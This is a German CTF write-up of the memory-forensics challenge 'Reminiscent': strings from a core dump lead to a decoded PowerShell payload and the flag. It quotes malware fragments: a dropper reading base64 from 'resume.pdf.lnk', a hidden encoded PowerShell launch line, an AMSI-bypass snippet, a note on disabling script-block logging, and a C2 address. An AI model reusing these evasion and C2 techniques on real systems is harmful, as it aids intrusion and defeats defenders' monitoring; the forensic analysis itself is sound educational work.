Challenge Write Up: Reminiscent

· VVPctf TEAM BLOG


Schritt 1: Identifizierung des Dateiformats #

Zunächst wurde die bereitgestellte Datei mit dem Befehl file analysiert:

Befehl: file flounder-pc-memdump
Ergebnis: flounder-pc-memdump.elf: ELF 64-bit LSB core file, x86-64, version 1 (SYSV)


Schritt 2: Informationsgewinnung #

Da auf modernen Windows-Systemen für "Fileless"-Angriffe häufig Powershell verwendet wird, wurde hier im Core-Dump nach dem Wort "Powershell" gesucht. (Forensik Tools wie Volatility oder GDB würden dies vereinfachen).

Befehl: strings -a flounder-pc-memdump.elf | grep -Ei "powershell|base64" | grep -i "enc"

Erklärung des Befehls:

Ergebnis (wichtige Sektionen):

(1)
$stP,$siP=3230,9676;$f='resume.pdf.lnk';if(-not(Test-Path $f)){$x=Get-ChildItem -Path $env:temp -Filter $f -Recurse;[IO.Directory]::SetCurrentDirectory($x.DirectoryName);}$lnk=New-Object IO.FileStream $f,'Open','Read','ReadWrite';$b64=New-Object byte[]($siP);$lnk.Seek($stP,[IO.SeekOrigin]::Begin);$lnk.Read($b64,0,$siP);$b64=[Convert]::FromBase64CharArray($b64,0,$b64.Length);$scB=[Text.Encoding]::Unicode.G

(2)
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noP -sta -w 1 -enc JABHAHIAbwBVAFA... (langer BASE64 String)

(3)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')...SetValue($Null,$True)


Schritt 3: Analyse der Funde #

Die Analyse der Strings ergab zwei entscheidende Phasen der Infektion:

Phase 1: Der Dropper (resume.pdf.lnk) (1) enthält folgendes: $f='resume.pdf.lnk'; ... $lnk.Read($b64,0,$siP);

Phase 2: Der verschleierte Payload (2) zeigt einen sehr großen Base64 codierten Block. Der Parameter -enc (EncodedCommand) bedeutet, dass der gesamte folgende Block verschlüsselter/kodierter Code ist, um Sicherheitssoftware zu umgehen.


Schritt 4: Dekodierung des Payloads #

Um den Inhalt zu verstehen, muss der Base64-String also dekodiert werden:

Befehl:
echo "JABHAHIAbwBVAFAAUABPAEw..." | base64 -D

Am Ende des dekodierten Base64 Skripts steht nun die Flag.

Für Interessierte: Analyse des dekodierten Codes:

  1. Antiviren-Bypass: Der Code nutzt Reflection, um das AMSI (Antimalware Scan Interface) zu deaktivieren (amsiInitFailed = true).
  2. Logging deaktivieren: Das Script-Block-Logging wird auf 0 gesetzt, damit Windows keine Spuren des Angriffs in den Event-Logs speichert.
  3. C2-Verbindung: Es wird eine Verbindung zum Command-and-Control-Server des Angreifers aufgebaut: $ser='http://10.10.99.55:80'; $t='/login/process.php';
  4. Exfiltration: Ein Session-Cookie wird gesetzt, um das Opfer zu identifizieren.

Zusammenfassung der Forensik #

Writeup by THElusional Post id - thel16678

last updated: